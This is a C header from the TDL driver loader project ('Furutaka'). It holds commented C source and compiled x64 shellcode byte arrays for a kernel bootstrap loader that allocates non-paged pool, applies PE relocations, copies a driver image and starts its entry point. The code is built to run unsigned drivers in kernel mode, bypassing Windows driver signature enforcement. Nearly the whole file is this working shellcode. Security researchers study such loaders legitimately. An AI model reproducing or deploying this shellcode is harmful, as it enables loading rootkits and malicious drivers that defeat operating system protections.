TDL/Source/Furutaka/shellcode.h

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C
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/*******************************************************************************
*
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* (C) COPYRIGHT AUTHORS, 2016 - 2017
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*
* TITLE: SHELLCODE.H
*
* VERSION: 1.11
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*
* DATE: 20 Apr 2017
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*
* Loader bootstrap shellcode.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#pragma once
typedef PVOID(NTAPI *PfnExAllocatePoolWithTag)(
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_In_ POOL_TYPE PoolType,
_In_ SIZE_T NumberOfBytes,
_In_ ULONG Tag);
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typedef NTSTATUS(NTAPI *PfnPsCreateSystemThread)(
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_Out_ PHANDLE ThreadHandle,
_In_ ULONG DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ HANDLE ProcessHandle,
_Out_opt_ PCLIENT_ID ClientId,
_In_ PKSTART_ROUTINE StartRoutine,
_In_opt_ PVOID StartContext);
typedef NTSTATUS (NTAPI *PfnZwClose)(
_In_ HANDLE Handle);
typedef NTSTATUS(NTAPI *PfnDriverEntry)();
#define MAX_SHELLCODE_LENGTH 0x300
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/*
* TDLBootstrapLoader
*
* Purpose:
*
* Main part of shellcode used to execute driver code.
*
*/
/*
void TDLBootstrapLoader(
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PfnExAllocatePoolWithTag ExAllocatePoolWithTag,
PfnPsCreateSystemThread PsCreateSystemThread,
PfnZwClose ZwClose)
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{
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ULONG_PTR pos, exbuffer,
Image = ((ULONG_PTR)&TDLBootstrapLoader) + MAX_SHELLCODE_LENGTH;
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PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image;
PIMAGE_FILE_HEADER fileh =
(PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
PIMAGE_OPTIONAL_HEADER popth =
(PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
ULONG isz = popth->SizeOfImage;
HANDLE th;
PIMAGE_BASE_RELOCATION rel;
DWORD_PTR delta;
LPWORD chains;
DWORD c, p, rsz;
OBJECT_ATTRIBUTES attr;
exbuffer = (ULONG_PTR)ExAllocatePoolWithTag(
NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE;
exbuffer &= ~(PAGE_SIZE - 1);
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
{
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
delta = (DWORD_PTR)exbuffer - popth->ImageBase;
c = 0;
while (c < rsz) {
p = sizeof(IMAGE_BASE_RELOCATION);
chains = (LPWORD)((PBYTE)rel + p);
while (p < rel->SizeOfBlock) {
switch (*chains >> 12) {
case IMAGE_REL_BASED_HIGHLOW:
*(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
break;
case IMAGE_REL_BASED_DIR64:
*(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
break;
}
chains++;
p += sizeof(WORD);
}
c += rel->SizeOfBlock;
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
}
}
isz >>= 3;
for (pos = 0; pos < isz; pos++)
((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
th = NULL;
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InitializeObjectAttributes(&attr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
if (NT_SUCCESS(PsCreateSystemThread(&th, THREAD_ALL_ACCESS, &attr, NULL, NULL,
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL)))
{
ZwClose(th);
}
}
*/
const unsigned char TDLBootstrapLoader_code[480] = {
0x48, 0x8B, 0xC4, 0x41, 0x54, 0x48, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x58, 0x10,
0x4D, 0x8B, 0xE0, 0x48, 0x89, 0x68, 0x18, 0x48, 0x8D, 0x1D, 0xE2, 0xFF, 0xFF, 0xFF, 0x4C, 0x89,
0x68, 0xE8, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00, 0x4C, 0x89, 0x70, 0xE0, 0x4C, 0x8B, 0xEA,
0x4C, 0x89, 0x78, 0xD8, 0x4C, 0x8B, 0xC9, 0x33, 0xC9, 0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x4C,
0x63, 0x73, 0x3C, 0x4C, 0x03, 0xF3, 0x45, 0x8B, 0x7E, 0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00,
0x00, 0x41, 0xFF, 0xD1, 0x45, 0x33, 0xC9, 0x48, 0x8D, 0xA8, 0x00, 0x10, 0x00, 0x00, 0x48, 0x81,
0xE5, 0x00, 0xF0, 0xFF, 0xFF, 0x41, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x05, 0x0F, 0x86, 0xB0,
0x00, 0x00, 0x00, 0x41, 0x8B, 0x8E, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84, 0xA1, 0x00,
0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x04, 0x0B, 0x41, 0x8B,
0xB6, 0xB4, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xDD, 0x4D, 0x2B, 0x5E, 0x30, 0x48, 0x89, 0xBC, 0x24,
0x88, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xF9, 0x85, 0xF6, 0x74, 0x68, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43,
0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9,
0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C,
0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C,
0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48,
0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x3B, 0xFE, 0x72, 0xA0,
0x45, 0x33, 0xC9, 0x48, 0x8B, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0x88,
0x00, 0x00, 0x00, 0x49, 0x8B, 0xD7, 0x4C, 0x8B, 0x7C, 0x24, 0x70, 0x48, 0xC1, 0xEA, 0x03, 0x48,
0x85, 0xD2, 0x74, 0x1D, 0x48, 0x8B, 0xCD, 0x48, 0x2B, 0xDD, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75,
0xEF, 0x4C, 0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0x4C, 0x89, 0x8C, 0x24, 0xA0,
0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x4C, 0x24, 0x48,
0x0F, 0x57, 0xC0, 0x4C, 0x89, 0x4C, 0x24, 0x50, 0xBA, 0xFF, 0xFF, 0x1F, 0x00, 0xF3, 0x0F, 0x7F,
0x44, 0x24, 0x60, 0xC7, 0x44, 0x24, 0x40, 0x30, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x58, 0x00,
0x02, 0x00, 0x00, 0x41, 0x8B, 0x46, 0x28, 0x48, 0x03, 0xC5, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C,
0x89, 0x4C, 0x24, 0x20, 0x45, 0x33, 0xC9, 0x41, 0xFF, 0xD5, 0x4C, 0x8B, 0x74, 0x24, 0x78, 0x4C,
0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x48,
0x8B, 0x9C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x0B, 0x48, 0x8B, 0x8C, 0x24, 0xA0,
0x00, 0x00, 0x00, 0x41, 0xFF, 0xD4, 0x48, 0x81, 0xC4, 0x90, 0x00, 0x00, 0x00, 0x41, 0x5C, 0xC3
};
/*
* TDLBootstrapLoader_w10rs2
*
* Purpose:
*
* Main part of shellcode used to execute driver code since w10rs2.
*
*/
/*
void TDLBootstrapLoader_w10rs2(
PfnExAllocatePoolWithTag ExAllocatePoolWithTag
)
{
ULONG_PTR pos, exbuffer,
Image = ((ULONG_PTR)&TDLBootstrapLoader_w10rs2) + MAX_SHELLCODE_LENGTH;
PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image;
PIMAGE_FILE_HEADER fileh =
(PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
PIMAGE_OPTIONAL_HEADER popth =
(PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
PfnDriverEntry DriverEntry;
ULONG isz = popth->SizeOfImage;
PIMAGE_BASE_RELOCATION rel;
DWORD_PTR delta;
LPWORD chains;
DWORD c, p, rsz;
exbuffer = (ULONG_PTR)ExAllocatePoolWithTag(
NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE;
exbuffer &= ~(PAGE_SIZE - 1);
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
{
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
delta = (DWORD_PTR)exbuffer - popth->ImageBase;
c = 0;
while (c < rsz) {
p = sizeof(IMAGE_BASE_RELOCATION);
chains = (LPWORD)((PBYTE)rel + p);
while (p < rel->SizeOfBlock) {
switch (*chains >> 12) {
case IMAGE_REL_BASED_HIGHLOW:
*(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
break;
case IMAGE_REL_BASED_DIR64:
*(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
break;
}
chains++;
p += sizeof(WORD);
}
c += rel->SizeOfBlock;
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
}
}
isz >>= 3;
for (pos = 0; pos < isz; pos++)
((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
DriverEntry = (PfnDriverEntry)(exbuffer + popth->AddressOfEntryPoint);
DriverEntry();
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}
*/
static const unsigned char TDLBootstrapLoader_code_w10rs2[321] = {
0x40, 0x53, 0x55, 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0xC9, 0x4C, 0x89, 0x7C, 0x24, 0x50,
0x48, 0x8D, 0x1D, 0xE9, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00,
0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x48, 0x63, 0x6B, 0x3C, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x7D,
0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0x48, 0x8D, 0xB0, 0x00, 0x10,
0x00, 0x00, 0x48, 0x81, 0xE6, 0x00, 0xF0, 0xFF, 0xFF, 0x83, 0xBD, 0x84, 0x00, 0x00, 0x00, 0x05,
0x0F, 0x86, 0xA5, 0x00, 0x00, 0x00, 0x8B, 0x8D, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84,
0x97, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7C, 0x24, 0x40, 0x4C, 0x8D, 0x04, 0x0B, 0x4C, 0x8B, 0xDE,
0x4C, 0x89, 0x74, 0x24, 0x48, 0x4C, 0x2B, 0x5D, 0x30, 0x33, 0xFF, 0x44, 0x8B, 0xB5, 0xB4, 0x00,
0x00, 0x00, 0x45, 0x85, 0xF6, 0x74, 0x6A, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43,
0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9,
0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C,
0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C,
0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48,
0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x41, 0x3B, 0xFE, 0x72,
0x9F, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x49, 0x8B, 0xD7, 0x4C, 0x8B,
0x7C, 0x24, 0x50, 0x48, 0xC1, 0xEA, 0x03, 0x48, 0x85, 0xD2, 0x74, 0x25, 0x48, 0x8B, 0xCE, 0x48,
0x2B, 0xDE, 0x0F, 0x1F, 0x40, 0x00, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75,
0xEF, 0x8B, 0x45, 0x28, 0x48, 0x03, 0xC6, 0x48, 0x83, 0xC4, 0x20, 0x5E, 0x5D, 0x5B, 0x48, 0xFF,
0xE0
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};